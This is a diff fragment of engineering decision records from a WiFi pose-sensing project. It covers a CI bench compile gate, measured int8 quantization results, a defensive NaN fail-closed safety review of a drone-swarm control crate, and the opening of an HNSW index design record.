`nvsim/pipeline_throughput`, `wifi-densepose-ruvector/{ann,sketch,fusion}_bench`,
|
||||
`wifi-densepose-signal/{signal,dsp_perf,features,calibration,cir,…}_bench`,
|
||||
`wifi-densepose-mat/detection_bench`, `wifi-densepose-nn/{inference,native_conv}_bench`,
|
||||
`wifi-densepose-engine/engine_cycle`, …). Because **benches are not part of
|
||||
`cargo test`**, nothing in CI compiled them — so they bit-rot silently the moment
|
||||
a public API they call changes, and the rot is invisible until someone manually
|
||||
runs `cargo bench` months later.
|
||||
|
||||
The SOTA brief named "wire existing criterion benches into CI as regression
|
||||
baselines" as a concrete benchmark-hygiene target. The honest difficulty: true
|
||||
*timing*-regression gating on shared GitHub runners is unreliable — wall-clock
|
||||
varies 2–3× run-to-run (a captured 10-sample run showed `float_l2/512` ranging
|
||||
307–444 ns), so a hard threshold or a cross-runner `criterion --baseline` compare
|
||||
(baseline and PR land on different physical machines) would manufacture false
|
||||
regressions. A gate that cries wolf gets disabled.
|
||||
|
||||
## Decision
|
||||
|
||||
Add `.github/workflows/bench-regression.yml` with **two jobs of explicitly
|
||||
different authority** — and do NOT pretend to gate on timing.
|
||||
|
||||
### `bench-compile` — HARD GATE (real regression detection)
|
||||
`cargo bench --workspace --no-default-features --no-run` compiles + links every
|
||||
default-feature bench (no measurement → fully deterministic), plus a
|
||||
`--features cir` compile of the gated `cir_bench`. Benches aren't in `cargo test`,
|
||||
so this is the genuine guard: **the build fails the moment a bench stops
|
||||
compiling.**
|
||||
|
||||
### `bench-fast-run` — INFORMATIONAL (`continue-on-error: true`, never gates)
|
||||
Runs a curated pure-CPU subset (`nvsim/pipeline_throughput`,
|
||||
`ruvector/{sketch,fusion}_bench`) in criterion quick-mode (1 s warm-up / 2 s
|
||||
measure / 10 samples), targeted per-`--bench`, and uploads logs as an artifact.
|
||||
Every number it produces is **informational only** — explicitly stated in the
|
||||
workflow header.
|
||||
|
||||
### What is NOT done, and why (honest scope)
|
||||
No timing-regression gate, no committed baseline JSON. The workflow header
|
||||
documents the exact condition under which true timing-gating becomes honest: a
|
||||
frequency-pinned **self-hosted** runner with a generous (>2×) floor. A
|
||||
cross-runner baseline would be dishonest, so none is committed.
|
||||
|
||||
### Proof it matters (MEASURED)
|
||||
Running the new gate on the current tree immediately caught
|
||||
`wifi-densepose-mat/detection_bench` failing to compile:
|
||||
`error[E0063]: missing field last_rssi in initializer of SensorPosition` — the
|
||||
struct gained a field; the bench was never updated. **Fixed** in the same change
|
||||
(`last_rssi: None`, the simulated-zone convention) and re-verified
|
||||
(`cargo bench -p wifi-densepose-mat --no-default-features --bench detection_bench --no-run`
|
||||
→ `Finished`). The gate paid for itself on its first run.
|
||||
|
||||
### Exclusions (documented in-workflow)
|
||||
- `ruvector/crv_bench` — its crates.io dep `ruvector-crv 0.1.1` fails to build on
|
||||
stable (upstream `E0308` in `stage_iii.rs`); excluded with a re-add condition.
|
||||
- `onnx_bench` / `mqtt_throughput` — feature-gated (ort / mqtt), left to their
|
||||
crates' own workflows. `wasm-edge/process_frame_bench` — workspace-excluded.
|
||||
|
||||
Conventions mirror existing workflows: `submodules: recursive` (the workspace
|
||||
path-deps `vendor/rufield`), Swatinem/rust-cache `workspaces: v2`, Tauri/GTK apt
|
||||
deps (a `--workspace` bench link pulls the whole graph), path-filtered triggers.
|
||||
|
||||
## Validation
|
||||
|
||||
- **Bit-rot caught + fixed** (above), re-verified `--no-run`.
|
||||
- **MEASURED locally** (`--no-default-features`, Windows): nvsim, ruvector
|
||||
(sketch/fusion/ann), signal/cir_bench, mat/detection_bench (post-fix),
|
||||
vitals, ruview-swarm/swarm_bench all compile; fast subset runs (`nvsim
|
||||
pipeline_run/d1/256` ≈ 55 µs; `ruvector sketch_hamming` ≈ 3–7 ns vs `float_l2`
|
||||
≈ 63–371 ns).
|
||||
- `cargo test -p wifi-densepose-mat --no-default-features` → 166/6/2 passed, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged.
|
||||
- **Honest limitation:** the full `--workspace --no-run` could not be
|
||||
end-to-end validated on this Windows box (`desktop` needs GTK, `candle-core`
|
||||
fails on MSVC, `swarm_bench` LTO-links OOM under parallel pressure — all
|
||||
Windows-env artifacts; each affected bench compiles standalone here). **The
|
||||
first green Linux CI run on the PR is the authoritative proof of the
|
||||
`--workspace` step.**
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Bench bit-rot is now a hard CI failure, not a silent surprise — the 26 benches
|
||||
stay compilable as the APIs they exercise evolve.
|
||||
- The benchmark-infrastructure half of the DoD (step 5) is satisfied honestly,
|
||||
setting up the next sub-deliverable (QAT-int8 measurement) to be
|
||||
regression-protected.
|
||||
|
||||
### Negative / Neutral
|
||||
- No automated timing-regression detection (deliberate — see scope). Revisit only
|
||||
with a frequency-pinned self-hosted runner.
|
||||
- One bench (`crv_bench`) excluded pending an upstream dep fix.
|
||||
|
||||
## Links
|
||||
- ADR-173 — metric-locked accuracy harness (sub-deliverable 8.1)
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — motivating target
|
||||
- ADR-134 (CIR), ADR-135 (calibration), ADR-154 (signal DSP benches) — benched paths
|
||||
@@ -0,0 +1,172 @@
|
||||
# ADR-175: int8 Quantization of the WiFlow-STD "half" Pose Model — MEASURED accuracy/size trade-off
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — MEASURED, reproducible (honest negative) |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **EDGE-INT8** |
|
||||
| **Sub-deliverable** | 8.2 of the benchmark/optimization milestone |
|
||||
| **Metric lock** | ADR-173 (one declared PCK normalization for every reported number) |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (§edge int8) |
|
||||
|
||||
## Context
|
||||
|
||||
The SOTA brief characterized the int8 edge story for the WiFlow-STD pose net as
|
||||
"fully characterized" for PTQ on the **published 2.23M** model (static QDQ
|
||||
conv-only = the sweet spot; dynamic int8 ≈ no-op on this all-conv net), and named
|
||||
**QAT-int8 on the strictly-dominating 843,834-param "half" model** as "the one
|
||||
untested edge lever." This ADR is the reading of that lever — a MEASURED
|
||||
fp32-vs-int8 trade-off for the half model, not a claim.
|
||||
|
||||
The half model (`half_best.pth`, 843,834 params) is the efficiency-sweep winner
|
||||
from ADR-152 (`run_sweep.py` VARIANTS[0]: `tcn=[270,220,170,120]`,
|
||||
`conv=[4,8,16,32]`, `attn_groups=4`). Its fp32 accuracy was recorded in the sweep;
|
||||
this ADR re-measures it under the locked normalization and quantizes it.
|
||||
|
||||
**The whole point of this deliverable is reproducibility.** Every number below was
|
||||
produced by running `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
on host `ruvultra` (RTX 5080, torch 2.11.0+cu128) against the real checkpoint and
|
||||
the real seed-42 test split. The script + the exact command + the recorded stdout
|
||||
**is** the proof artifact. Nothing here is estimated.
|
||||
|
||||
## Decision
|
||||
|
||||
Quantize the half model to int8 with **both** levers and report both honestly:
|
||||
|
||||
1. **QAT (primary target)** — FX graph-mode quantization-aware training, fbgemm
|
||||
backend, 3 epochs of fake-quant fine-tuning from `half_best.pth` (AdamW lr 2e-5,
|
||||
the existing `PoseLoss`), then `convert_fx` to a true int8 graph.
|
||||
2. **PTQ static QDQ (the brief's "sweet spot", measured as the honest fallback)** —
|
||||
FX graph-mode static PTQ, fbgemm, calibrated on 64 train batches.
|
||||
|
||||
### Locked normalization (ADR-173)
|
||||
|
||||
**Torso-diameter PCK** — neck (keypoint idx 2) → pelvis (idx 12) distance — the
|
||||
standard MM-Fi/GraphPose-Fi convention. This is exactly the default
|
||||
`use_torso_norm=True` path of the upstream harness's `utils/metrics.calculate_pck`.
|
||||
The **same** `calculate_pck`/`calculate_mpjpe` that produced the sweep's fp32
|
||||
numbers scores **both** fp32 and int8 here, so the comparison is metric-locked: no
|
||||
normalization is mixed, and the fp32 baseline reproduces the sweep's recorded
|
||||
`half` test numbers bit-for-bit (PCK@20 clean = 96.62%), confirming the harness is
|
||||
the same one.
|
||||
|
||||
### Device note (why int8 is CPU)
|
||||
|
||||
PyTorch int8 quantized kernels execute on CPU (fbgemm/x86), not CUDA. So int8 eval
|
||||
is CPU. To keep the accuracy delta device-matched (not confounding int8-vs-fp32
|
||||
with CPU-vs-GPU), the script measures an **fp32-CPU** baseline too. fp32-CPU and
|
||||
fp32-GPU agree to 4 decimals (PCK@20 clean 0.96623 vs 0.96623), so CPU/GPU
|
||||
introduces no drift — the int8 deltas below are pure quantization effect.
|
||||
|
||||
## MEASURED results (clean test subset = 52,560 NaN-free windows; torso-PCK)
|
||||
|
||||
Source: stdout of the run below + `~/wiflow-std-bench/sweep/int8/int8_results.json`.
|
||||
|
||||
| model | quant | size (MB) | PCK@20 | PCK@50 | MPJPE | Δ PCK@20 | Δ PCK@50 | size win |
|
||||
|-------|-------|-----------|--------|--------|-------|----------|----------|----------|
|
||||
| **fp32** (cpu) | — | **3.351** | **96.62%** | **99.47%** | **0.008981** | — | — | 1.00× |
|
||||
| int8 PTQ static | PTQ | 1.046 | 40.98% | 94.98% | 0.038262 | **−55.64 pp** | −4.49 pp | 3.20× smaller |
|
||||
| int8 QAT (3 ep) | **QAT** | 1.043 | 67.48% | 98.69% | 0.026548 | **−29.15 pp** | −0.78 pp | 3.21× smaller |
|
||||
|
||||
Full-test-set (54,000 windows incl. NaN-zero-filled files 487–499) tracks the
|
||||
clean subset: fp32 96.10% / int8-PTQ 41.11% / int8-QAT 67.48% PCK@20 — same shape,
|
||||
recorded in the JSON.
|
||||
|
||||
### Verdict
|
||||
|
||||
**int8 is NOT a win for this model at the tight PCK@20 edge target — honest no.**
|
||||
|
||||
- **PTQ static collapses** (−55.64 pp PCK@20). Naive static QDQ destroys the half
|
||||
model. The "sweet spot" characterization from the brief does not transfer from
|
||||
the 2.23M model to this 843k model at the strict torso-PCK@20 threshold.
|
||||
- **QAT recovers a large share of the relative gap** (PTQ 40.98% → QAT 67.48%) but
|
||||
still **loses 29.15 pp** at PCK@20 for a 3.21× size reduction. At the loose
|
||||
PCK@50 threshold QAT is nearly lossless (−0.78 pp), i.e. coarse-localization
|
||||
survives int8 but fine-localization does not.
|
||||
- The size win is real and consistent (3.2× smaller, 3.351 MB → ~1.04 MB), but
|
||||
**3.2× compression at −29 pp PCK@20 is a bad trade** when the half model already
|
||||
fits comfortably in edge flash at fp32. Recommendation: **keep fp32 (or fp16)
|
||||
for the half model on the edge**; do not ship this int8 variant as-is.
|
||||
|
||||
### Observed fake-quant → int8 conversion gap (disclosed, not hidden)
|
||||
|
||||
During QAT the **fake-quant** model's val PCK@20 reached 83.45% (epoch 3), but the
|
||||
**converted int8** model scores 67.48% on test. A ~16 pp drop on `convert_fx` is a
|
||||
real effect — the fbgemm int8 kernels are not bit-identical to the fake-quant
|
||||
simulation (per-tensor activation quant + the axial-attention `einsum`/softmax path
|
||||
quantize worse than the straight-through estimate predicts). This gap is the honest
|
||||
reason QAT did not close the loss, and it is exactly the kind of number that would
|
||||
be invisible if one only reported the fake-quant proxy. We report the **converted
|
||||
int8** number as the deliverable, not the fake-quant proxy.
|
||||
|
||||
## Reproduction
|
||||
|
||||
```bash
|
||||
ssh ruvultra 'cd ~/wiflow-std-bench && source venv/bin/activate && \
|
||||
python ~/quantize_half_int8.py --mode both --qat-epochs 3 2>&1'
|
||||
```
|
||||
|
||||
- Script (committed): `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
(scp'd to `~/quantize_half_int8.py` on ruvultra for the run).
|
||||
- Inputs (on ruvultra, unmodified): `~/wiflow-std-bench/sweep/half_best.pth`,
|
||||
`~/wiflow-std-bench/preprocessed_csi_data/` (seed-42 file-level 70/15/15 split),
|
||||
upstream `models`/`dataset`/`utils/metrics`/`losses` (DY2434/WiFlow @ 06899d29,
|
||||
Apache-2.0), and `sweep/model_compact.py` (the half-model definition).
|
||||
- Outputs (written, non-destructive): `~/wiflow-std-bench/sweep/int8/` —
|
||||
`half_int8_qat.pth`, `half_int8_ptq_static.pth`, `int8_results.json`,
|
||||
`int8_run.log`. **No existing file under `~/wiflow-std-bench` was modified.**
|
||||
- Run metadata: host `ruvultra`, GPU RTX 5080, torch `2.11.0+cu128`, fbgemm engine,
|
||||
`date_utc 2026-06-15T12:35:06Z`, QAT ≈ 97 s/epoch.
|
||||
|
||||
## What is MEASURED vs CLAIMED
|
||||
|
||||
- **MEASURED:** every PCK/MPJPE/size number in the table; the fp32 baseline (which
|
||||
reproduces the recorded sweep `half` numbers); the PTQ collapse; the QAT partial
|
||||
recovery; the fake-quant→int8 conversion gap; the 3.2× size reduction.
|
||||
- **CLAIMED / not done here:** ONNX/TFLite export; on-real-edge (ESP32/Pi/Hailo)
|
||||
latency or energy (int8 here is measured on x86 fbgemm, the dev box, **not** an
|
||||
edge SoC — the size number transfers, a latency number does **not**); a
|
||||
per-layer mixed-precision search that might keep the attention block in fp32; QAT
|
||||
beyond 3 epochs or with learned-quant-range schedules. Those are the obvious next
|
||||
levers if int8 is revisited; none is asserted as a result.
|
||||
|
||||
## Honest scope / limitations
|
||||
|
||||
- **Single eval split** — one seed-42 file-level test partition; no cross-room /
|
||||
cross-environment generalization split (the GraphPose-Fi frontier from ADR-173 is
|
||||
a separate, harder split and is not what is measured here).
|
||||
- **In-domain only** — these are in-distribution test numbers; they say nothing
|
||||
about the cross-environment robustness gap.
|
||||
- **x86 int8, not edge-SoC int8** — accuracy and size transfer to an edge int8
|
||||
runtime; the runtime/latency does not (different kernels, different SoC). No
|
||||
latency claim is made.
|
||||
- **QAT lightly tuned** — 3 epochs, single LR, default fbgemm qconfig. A longer /
|
||||
better-tuned QAT might narrow the −29 pp, but on the evidence here int8 does not
|
||||
reach fp32 at PCK@20, and that is the reportable result today.
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- The "one untested edge lever" (QAT-int8 on the half model) is now MEASURED. The
|
||||
edge int8 question for the half model is answered with reproducible numbers: at
|
||||
the strict PCK@20 target it loses, and we can say so with a committed script.
|
||||
- Establishes a reusable, metric-locked quantization+eval harness
|
||||
(`quantize_half_int8.py`) for any future int8 attempt on these compact variants.
|
||||
|
||||
### Negative
|
||||
- None to the codebase (additive script + ADR + CHANGELOG only; no production Rust
|
||||
or signal-pipeline change; Python deterministic proof hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` unchanged).
|
||||
|
||||
### Neutral
|
||||
- The negative verdict means the half model stays fp32/fp16 on the edge for now.
|
||||
int8 for these compact pose nets is parked pending the next-lever work above.
|
||||
|
||||
## Links
|
||||
- ADR-173 — metric-locked PCK/MPJPE harness (the locked normalization used here)
|
||||
- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark / efficiency sweep
|
||||
(produced `half_best.pth`)
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — §edge int8 (the "one untested
|
||||
lever" this ADR measures)
|
||||
- Script: `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
@@ -0,0 +1,103 @@
|
||||
# ADR-176: `ruview-swarm` NaN-Fail-Open Safety Review
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 4 real safety bugs fixed + pinned; 2 issues documented for follow-up |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **SWARM-FAILCLOSED** |
|
||||
| **Reviews** | ADR-148 (`ruview-swarm` drone swarm control plane) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 1 of 4 |
|
||||
|
||||
## Context
|
||||
|
||||
`ruview-swarm` (ADR-148) is the drone swarm control plane — hierarchical-mesh
|
||||
topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 command
|
||||
dispatch. It is the highest-stakes of the four never-reviewed v2 crates: a defect
|
||||
here can produce an **unsafe physical drone command**. It had no prior security
|
||||
ADR.
|
||||
|
||||
### Trust-boundary map
|
||||
Untrusted input enters via `SwarmOrchestrator::receive_peer_state` /
|
||||
`receive_peer_detection`, which accept full `DroneState` / `CsiDetection` serde
|
||||
structs with **f64/f32 fields and no finite-check**, and via
|
||||
`SwarmConfig`/`FhssConfig`/`Geofence` deserialization. The MAVLink wire formats in
|
||||
`mavlink_messages.rs` are **integer-encoded** (i32 mm / u8) and provably cannot
|
||||
carry NaN — so the NaN class is reachable through the **serde struct path, not the
|
||||
MAVLink decode path**. Commands flow out to a `FlightController` (PX4/ArduPilot).
|
||||
|
||||
The unifying bug class found: **IEEE-754 NaN/Inf silently defeating a safety
|
||||
comparison** (`NaN < threshold` evaluates to `false`), causing safety logic to
|
||||
**fail OPEN**. This is distinct from — but rhymes with — the NaN-state-poisoning
|
||||
class found earlier in calibration/vitals/geo (there, NaN latched into persistent
|
||||
state; here, NaN slips through a one-shot guard). Both are "non-finite input
|
||||
defeats logic," and the fix discipline is the same: **reject non-finite at the
|
||||
trust boundary, fail CLOSED.**
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the four reachable fail-open bugs by making each safety predicate
|
||||
non-finite-aware and fail-closed, each pinned by a fails-on-old test. Document
|
||||
two further genuine issues that need larger, riskier changes rather than churning
|
||||
them in a security pass.
|
||||
|
||||
### Findings fixed (all MEASURED fails-on-old)
|
||||
|
||||
| # | Severity | File:line | Issue | Fix | Pin (old behavior) |
|
||||
|---|----------|-----------|-------|-----|--------------------|
|
||||
| F1a | **HIGH** | `failsafe/mod.rs:51` | `nearest_neighbor_dist < collision_dist_m` fails open on a NaN peer position → **collision avoidance silently disabled** | `!is_finite() ||` → `EmergencyDiverge` | `test_nan_neighbor_distance_fails_closed_to_diverge` (old → `Nominal`) |
|
||||
| F1b | **HIGH** | `failsafe/mod.rs:75` | NaN `battery_pct` bypasses every battery check → drone stays Nominal on unknown battery | `!is_finite() ||` → `ReturnToHome` | `test_nan_battery_fails_closed_to_rth` (old → `Nominal`) |
|
||||
| F2 | **MEDIUM** | `security/geofence.rs:33` | NaN `z` altitude skips the altitude-breach check and point-in-polygon returns `Safe` → silent geofence bypass | leading non-finite coord → `HardBreach` | `test_nan_altitude_fails_closed` (old → `Safe`) |
|
||||
| F3 | **MEDIUM/DoS** | `security/antijamming.rs:65,71,102` | empty deserialized `channels_mhz` → `% 0` **panic** in `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick`, crashing the radio task | `len == 0` early-return (`0.0` sentinel) | `test_empty_channels_does_not_panic` (old → panic `divisor of zero`) |
|
||||
| F4 | **LOW** | `sensing/multiview.rs:70` | NaN `victim_position` passes the `is_some()` filter and propagates into the fused "confirmed victim" location dispatched to the swarm | require finite confidence + position (drop) | `test_nan_victim_position_dropped_from_fusion` (old → non-finite fused position) |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
- **MAVLink decode panic-safety** — `SwarmNodeState::decode(&[u8;20])` `try_into().unwrap()`s are over fixed const ranges of a fixed-size array → provably infallible; no arbitrary-length `&[u8]` decode path exists.
|
||||
- **UWB/GPS anti-spoofing NaN-safe** — `(gps_dist - uwb_dist).abs() <= tol` already fails CLOSED on a NaN range (counts as inconsistent → spoof rejected); covered by `test_spoofed_gps_invalid`.
|
||||
- **Bounded grid / no allocate-from-length-field** — `ProbabilityGrid` bounds-checks `cx/cy`; `pos_to_cell` uses saturating `as u32` (no UB).
|
||||
- **Mesh `nearest_k` NaN-safe sort** — `partial_cmp(..).unwrap_or(Equal)` cannot panic on NaN.
|
||||
- **No hardcoded secrets** — `MavlinkSigner` key is constructor-injected `[u8;32]`; grep-confirmed nothing embedded.
|
||||
|
||||
### Documented, not fixed (genuine — deferred to avoid churn/regression risk)
|
||||
|
||||
1. **Raft `AppendEntries` lacks the Log-Matching consistency check**
|
||||
(`topology/raft.rs:187`). A follower appends a leader's entries when
|
||||
`term >= current_term` **without validating `prev_log_index`/`prev_log_term`**,
|
||||
so a malformed/byzantine leader can corrupt a follower's log — a genuine
|
||||
consensus-safety gap. A correct fix reworks the log-append plus the
|
||||
caller-side vote-tally contract (the existing `handle_message` delegates
|
||||
tallying to the caller) — a larger change with test-rewrite risk, so it is
|
||||
recorded here rather than rushed in a security pass.
|
||||
2. **`MavlinkSigner::verify` uses a non-constant-time tag `==` and has no
|
||||
replay/timestamp-window rejection** (`security/mavlink_signing.rs:64`). The
|
||||
module doc already flags the replay limitation as a demo/test simplification.
|
||||
Hardening (constant-time compare + monotonic timestamp window) is a focused
|
||||
follow-up.
|
||||
|
||||
These two are the recommended scope of the next `ruview-swarm` hardening pass.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p ruview-swarm --no-default-features` → **117 → 123** passed, 0 failed (+6 pins).
|
||||
- All 6 new tests MEASURED fails-on-old (2× `Nominal`, `Safe`, panic `divisor of zero`, non-finite fused position); pass on the fix.
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged (ruview-swarm off the signal proof path).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Four reachable fail-open paths in a *physical-safety* control plane (collision
|
||||
avoidance, battery RTH, geofence, anti-jamming radio task) now fail CLOSED on
|
||||
hostile/degenerate input, each regression-pinned.
|
||||
- Extends the "non-finite input defeats logic" defense from the state-poisoning
|
||||
variant (calibration/vitals/geo) to the fail-open-comparison variant.
|
||||
|
||||
### Negative / Neutral
|
||||
- Two genuine issues (Raft log-matching, MAVLink signer) remain open by choice —
|
||||
see Documented-not-fixed; they define the next hardening pass.
|
||||
|
||||
## Links
|
||||
- ADR-148 — `ruview-swarm` drone swarm control system
|
||||
- ADR-172 — core/cli review (where the NaN bug-class root question was settled NO)
|
||||
- ADR-127 — homecore review (sibling NaN/concurrency hardening)
|
||||
@@ -351,12 +351,11 @@ Total test count across the workspace: **60 tests, 0 failed**.
|
||||
| 6 | Benchmark runner produces deterministic reports | **PASS** — identical report across runs (latency is the only wall-clock field) |
|
||||
| 7 | Raw waveform storage disabled by default | **PASS** — P0 network transmission denied by default policy |
|
||||
| 8 | P4 inference requires consent policy approval | **PASS** — P4 without consent → RequiresConsent; breathing/scratch rules carry `requires_consent = true` |
|
||||
| 9 | Dashboard shows live camera-free room intelligence | **DEFERRED** — no `rufield-viewer` dashboard in v0.1; the benchmark + `room_intelligence` example provide a CLI view. Follow-up. |
|
||||
| 9 | Dashboard shows live camera-free room intelligence | **PASS** — `rufield-viewer` (Axum + vanilla JS) streams the deterministic SyntheticSim→fusion demo: live room state, privacy-badged (P0–P5) event log, fusion graph, click-to-open signed-receipt modal, behind a permanent `SYNTHETIC — simulated sensors, no hardware` banner. `cargo run -p rufield-viewer`. Read-only demo viewer (not a device-management console — that's the real-adapter milestone). |
|
||||
| 10 | Spec readable for external implementers | **PASS** — ADR-260 + detailed standalone README with compiling usage examples |
|
||||
|
||||
**Decision:** §27 criteria 1–8 and 10 PASS; criterion 9 (live dashboard) is
|
||||
**deferred** to a follow-up. Per the acceptance rule (1–8, 10 pass; 9 may be
|
||||
deferred), Status is set to **Accepted — v0.1 reference stack**.
|
||||
**Decision:** **all §27 criteria 1–10 PASS** (criterion 9, the live dashboard,
|
||||
was completed by `rufield-viewer`). Status is **Accepted — v0.1 reference stack**.
|
||||
|
||||
### Deterministic benchmark report (SYNTHETIC, seed = 2026)
|
||||
|
||||
|
||||
@@ -0,0 +1,200 @@
|
||||
# ADR-261: RuVector Graph-ANN Index — a real HNSW baseline + a SymphonyQG-style quantized variant, MEASURED
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted |
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codebase target** | `wifi-densepose-ruvector` — `hnsw.rs`, `hnsw_quantized.rs`, `ann_measure.rs`, `benches/ann_bench.rs`, docs |
|
||||
| **Relates to** | ADR-084 (RaBitQ similarity sensor — 1-bit sketch), ADR-156 (RuVector beyond-SOTA sweep — §5 #1 SymphonyQG, §8/§10/§11 RaBitQ Pass-2/multi-bit/estimator), ADR-024 (AETHER re-ID), ADR-016/017 (RuVector integration) |
|
||||
| **Scope** | Build the **missing HNSW graph-ANN baseline** in the ruvector retrieval path, build a **SymphonyQG-style quantized-traversal variant** on the same graph, and **MEASURE** the real recall/QPS ratio between them — closing the ADR-156 §5 #1 gap honestly. Resolves ADR-156 §8 backlog item **"SymphonyQG reproduction"** from **CLAIMED-only** to **MEASURED-direction-tested**. |
|
||||
|
||||
---
|
||||
|
||||
## 0. PROOF discipline (this ADR's contract)
|
||||
|
||||
This project has been publicly accused of "AI slop." This ADR answers with **evidence, not adjectives** — the same contract as ADR-154/156:
|
||||
|
||||
- The HNSW index ships a **committed recall@10 correctness gate** (≥ 0.95 vs brute force on a planted-cluster fixture). Low recall means a graph bug; the gate is wired to fail in that case. It **did** fail first — and caught a real index-out-of-bounds bug in the insert path (§4) — which is exactly what a real gate is for.
|
||||
- Every QPS/recall number below is **MEASURED** on this box with a committed, deterministic, `--no-default-features`-runnable measurement (`src/ann_measure.rs`, `ann_bench_report`) and a committed criterion bench (`benches/ann_bench.rs`). Both call **one** shared fixture/measurement module, so the bench and the report can never measure different graphs.
|
||||
- The **headline result is an honest negative**: at our test scale the SymphonyQG-style quantized variant **does not beat float HNSW at equal recall** — the 1-bit Hamming traversal is too coarse to keep recall up. We report the real numbers, explain *why*, and state the expected large-N crossover. **We did not tune the quantized path to manufacture the 3.5–17× the source claims.** A measured negative + a scale caveat is a valid, publishable result.
|
||||
- We are explicit that this is **OUR HNSW + OUR 1-bit quantization, not SymphonyQG's exact system**. It tests the **direction** of the claim on our hardware/data, not a 1:1 reproduction.
|
||||
|
||||
Test machine: Windows 11, `cargo test --release`, `std::time::Instant` wall-clock. Numbers are warm medians on this box; the **ratio** is the claim, not the absolute QPS.
|
||||
|
||||
Reproduce:
|
||||
```bash
|
||||
cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --release \
|
||||
ann_bench_report -- --nocapture
|
||||
# Larger N: ANN_BENCH_N=50000 cargo test ... --release ann_bench_report -- --nocapture
|
||||
cargo bench -p wifi-densepose-ruvector --bench ann_bench
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 1. Context
|
||||
|
||||
The ruvector crate's retrieval path — AETHER re-ID hot-cache (ADR-024), the `sketch.rs` 1-bit prefilter (ADR-084), room fingerprinting — is, at its core, an **approximate nearest-neighbour (ANN)** problem: dense float embedding in, top-K similar ids out. But **the crate had no graph index**. Every `topk` was either a linear scan (`O(N·d)` per query) or a 1-bit Hamming prefilter over a linear scan. That is `O(N)` per query and does not scale.
|
||||
|
||||
[ADR-156 §5 #1](ADR-156-ruvector-fusion-beyond-sota.md) graded **SymphonyQG** (SIGMOD 2025) the **lead beyond-SOTA ANN candidate**, citing the source's claim of **3.5–17× QPS over HNSW at equal recall**, but marked it **CLAIMED**:
|
||||
|
||||
> *"author-measured; **not reproduced on our hardware** — reproduction is future work."*
|
||||
|
||||
And ADR-156 §8 was blunt about *why* it could not be reproduced: **there was no HNSW baseline to compare against.** You cannot measure a ratio against a baseline that does not exist. This ADR builds that missing baseline, builds the quantized variant that tests the direction of the SymphonyQG bet, and measures the real ratio.
|
||||
|
||||
---
|
||||
|
||||
## 2. Decision
|
||||
|
||||
1. Add a correct, dependency-free **float HNSW** graph index (`hnsw.rs`): the real Malkov & Yashunin (TPAMI 2018) algorithm — multi-layer navigable small-world graph, `ef_construction` / `ef_search`, the Algorithm-4 neighbour-selection heuristic, seeded-deterministic level assignment, L2 + cosine. This is the **baseline** ADR-156 said was missing.
|
||||
2. Add a **SymphonyQG-style quantized-traversal variant** (`hnsw_quantized.rs`): the *same* graph (same seed, same structure), but the beam search scores candidates with a **cheap 1-bit Hamming distance** over the RaBitQ Pass-2 rotated sign code (reusing `rotation.rs` + the sign-quantization of `sketch.rs`), then **exact-float reranks** the final candidate set. This is the SymphonyQG bet — cheaper per-node scoring, recovered by a final exact rerank.
|
||||
3. **Measure** linear vs float-HNSW vs quantized-HNSW (recall@10, QPS, equal-recall ratios) on one deterministic planted-cluster fixture, and record the honest verdict against the SymphonyQG 3.5–17× claim.
|
||||
|
||||
### Why 1-bit Hamming for the quantized traversal
|
||||
|
||||
The crate already had the exact pieces SymphonyQG fuses: a deterministic orthogonal rotation (`rotation.rs`, RaBitQ Pass-2) and sign-quantization (`sketch.rs`). A 1-bit code compares by POPCNT Hamming — a few machine words, no per-dimension float work — so it is the cheapest possible traversal score and the most direct test of "can a quantized score keep the beam on the right path." The cost (measured below): the 1-bit code is a *coarse* angle proxy (ADR-156 §10 measured ~46% strict-K coverage for sign-only), and that coarseness is what limits recall here.
|
||||
|
||||
---
|
||||
|
||||
## 3. Design
|
||||
|
||||
### 3.1 `hnsw.rs` — float HNSW (the baseline)
|
||||
|
||||
- **Graph.** `links[id][layer]` adjacency; layer 0 holds every node, higher layers exponentially sparser. `m_max` is `2·M` on layer 0, `M` above (the paper's asymmetric degree cap).
|
||||
- **Insert.** Greedy-descend the upper layers to a good entry point, then for each layer from the node's level down to 0: `search_layer` for `ef_construction` candidates, `select_neighbours` (Algorithm 4 — keep a candidate only if it is closer to the new node than to any already-selected neighbour, giving diverse navigable edges), wire bidirectional edges, re-prune any neighbour that overflows `m_max`. The node is pushed into the arrays **before** wiring so every `links[*]` index is valid mid-insert (§4 — the bug the gate caught).
|
||||
